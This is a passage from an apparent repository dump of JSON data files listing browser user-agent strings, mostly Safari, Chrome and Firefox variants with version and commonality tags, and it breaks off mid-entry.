like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5 companydatatrees\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.1 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"11.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/605.1.2 (KHTML, like Gecko) Version\\/11.1 Safari\\/605.1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko)  Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit\\/604.1.38.0.7 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/7.1.3 Safari\\/537.85.12\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit\\/531.1 (KHTML, like Gecko) FlyFlow\\/3.1 Version\\/5.0 Safari\\/531.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 3_1_3 like Mac OS X; es-es) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7E18 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) janusvr Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"MMozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B118 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit\\/602.2.8 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B55c Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5277a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PowerPC AmigaOS4; Odyssey Web Browser; rv:1.16) AppleWebKit\\/535.14 (KHTML, like Gecko) OWB\\/1.16 Safari\\/535.14\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Phone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Microsoft Windows NT 6.1.7601 Service Pack 1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/ 5.0.2Safari\\/ 5.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit\\/523.12 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.12\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla \\/ 5.0(Macintosh; U; PPC Mac OS X; de - de) AppleWebKit \\/ 412(KHTML, like Gecko) Safari \\/ 412\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit\\/602.3.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C5062e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/534.34 (KHTML, like Gecko) pythonw Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; cs-cz) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/10.3.2 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/8.0.8 Safari\\/600.8.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) WebClip\\/9537.85.15.2 Safari\\/9537.85.15.3\"},{\"commonality\":\"Uncommon\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/7.1.8 Safari\\/537.85.17\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) ugraf Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/0600.3.18 (KHTML, like Gecko) FluidApp Version\\/1955 Safari\\/0600.3.18\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0_1 like Mac OS X) AppleWebKit\\/604.2.10 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A8401 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPhone OS 9.3.1 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 SellOnEtsy\\/2.33 rv:23300.43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit\\/526.9 (KHTML, like Gecko) Version\\/11.0 Safari\\/526.8\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B554a Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_15) AppleWebKit\\/537.86.6 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/537.86.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit\\/418.9 (KHTML, like Gecko) Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.2 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) WebOZ Browser Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 6_1_4 like Mac OS X) AppleWebKit\\/536.26 (KHTML, Like Gecko) Version\\/10.1 Mobile\\/11A465 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B5130b Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/604.1.6 (KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Amiga; PowerPC AmigaOS 4.1; Odyssey Web Browser; rv:1.23) AppleWebKit\\/538.1 (KHTML, like Gecko) OWB\\/1.23 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/603.1.1 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/5.1 Mobile\\/12H321 Safari\\/7600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; U CPU iPhone OS 5_1_1 like Mac OS X; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/535.1 (KHTML, like Gecko) iPhone\\/7.4.1.8 Mobile Safari\\/535.1 3gpp-gba\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.37 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.4\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/8.0.8 Safari\\/600.8.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPhone OS 9.3 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 SellOnEtsy\\/2.31 rv:23100.39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J3 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.32\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B511 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8G4 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; th-th) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (en-us) AppleWebKit\\/525.13 (KHTML, like Gecko; Google Web Preview) Version\\/3.1 Safari\\/525.13\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 9_3_5 like Mac OS X; en-gb) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B141 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/8.0 Safari\\/600.1.25\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420+ (KHTML, like Gecko) Version\\/3.0 Mobile\\/1C25 Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.2 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F5075a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_8_0; nl-nl) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Fluid\\/1.7.1 Safari\\/532.3+\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.10 (KHTML, like Gecko) Version\\/10.0 Mobile\\/15A230 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Macintosh; U; Intel Mac OS X; es-mx AppleWebKit\\/537+ (KHTML, like Gecko) Version\\/5.0 Safari\\/537.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en - us) AppleWebKit \\/ 531.21.10(KHTML, like Gecko) Version \\/ 4.0.4 Mobile \\/ 7B314 Safari\\/ 531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PokerClient Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.2.69230 Mobile\\/11B511 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9.1\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/15.0 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.4.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1 ; en-us; ThinkPad Tablet Build\\/ThinkPadTablet_A310_02) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.4.4\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 221 like Mac OS X; zh-TW) AppleWebKit\\/525.18.1 (KHTML like Gecko) Version\\/3.1.1 Mobile\\/5H11a Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C5060d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6; nl-nl) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"}]"
  },
  {
    "path": "User Agents/json/techpatterns_com_useragentswitcher.json",
    "content": "[{\"description\":\"Arora 0.6.0 - (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/527  (KHTML, like Gecko, Safari\\/419.3) Arora\\/0.6 (Change: )\"},{\"description\":\"Avant Browser 1.2\",\"kind\":\"Browsers - Windows\",\"ua\":\"Avant Browser\\/1.2.789rel1 (http:\\/\\/www.avantbrowser.com)\"},{\"description\":\"Chrome 4.0 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/532.5 (KHTML, like Gecko) Chrome\\/4.0.249.0 Safari\\/532.5\"},{\"description\":\"Chrome 5.0 (Server 2003)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit\\/532.9 (KHTML, like Gecko) Chrome\\/5.0.310.0 Safari\\/532.9\"},{\"description\":\"Chrome 7.0 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/534.7 (KHTML, like Gecko) Chrome\\/7.0.514.0 Safari\\/534.7\"},{\"description\":\"Chrome 9.0 (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/534.14 (KHTML, like Gecko) Chrome\\/9.0.601.0 Safari\\/534.14\"},{\"description\":\"Chrome 10.0 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/534.14 (KHTML, like Gecko) Chrome\\/10.0.601.0 Safari\\/534.14\"},{\"description\":\"Chrome 12.0 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.27 (KHTML, like Gecko) Chrome\\/12.0.712.0 Safari\\/534.27\"},{\"description\":\"Chrome 15.0 (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/535.2 (KHTML, like Gecko) Chrome\\/15.0.874.120 Safari\\/535.2\"},{\"description\":\"Chrome 16.0 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.7 (KHTML, like Gecko) Chrome\\/16.0.912.36 Safari\\/535.7\"},{\"description\":\"Chrome 18.6 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/535.2 (KHTML, like Gecko) Chrome\\/18.6.872.0 Safari\\/535.2 UNTRUSTED\\/1.0 3gpp-gba UNTRUSTED\\/1.0\"},{\"description\":\"Chrome 19.0 (Win 8 - NT 6.2)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/536.3 (KHTML, like Gecko) Chrome\\/19.0.1061.1 Safari\\/536.3\"},{\"description\":\"Chrome 20.0 (Win 7)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.6 (KHTML, like Gecko) Chrome\\/20.0.1092.0 Safari\\/536.6\"},{\"description\":\"Chrome 20.0 (Win 8)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/536.6 (KHTML, like Gecko) Chrome\\/20.0.1090.0 Safari\\/536.6\"},{\"description\":\"Chrome 22.0 (Win 7 - 64 bit)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/22.0.1207.1 Safari\\/537.1\"},{\"description\":\"Firefox 3.0.2pre (Win XP 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko\\/2008072421 Minefield\\/3.0.2pre\"},{\"description\":\"Firefox 3.0.10 (Win XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko\\/2009042316 Firefox\\/3.0.10\"},{\"description\":\"Firefox 3.0.11 (Vista)   .NET\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko\\/2009060215 Firefox\\/3.0.11 (.NET CLR 3.5.30729)\"},{\"description\":\"Firefox 3.5.6 (Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko\\/20091201 Firefox\\/3.5.6 GTB5\"},{\"description\":\"Firefox 3.6.8 (XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko\\/20100722 Firefox\\/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\"},{\"description\":\"Firefox 4.01 (Win 7 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 4.01 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 5.0 (XP)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"description\":\"Firefox 6.0a2 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko\\/20110622 Firefox\\/6.0a2\"},{\"description\":\"Firefox 7.0.1 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"description\":\"Firefox 10.0.1 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"description\":\"Firefox 12.0 (Win 7 32)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:12.0) Gecko\\/20120403211507 Firefox\\/12.0\"},{\"description\":\"Firefox 14.0.1 (Win Vista)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"description\":\"Firefox 15.0a1 (Win 7 64)\",\"kind\":\"Browsers - Windows\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko\\/20120427 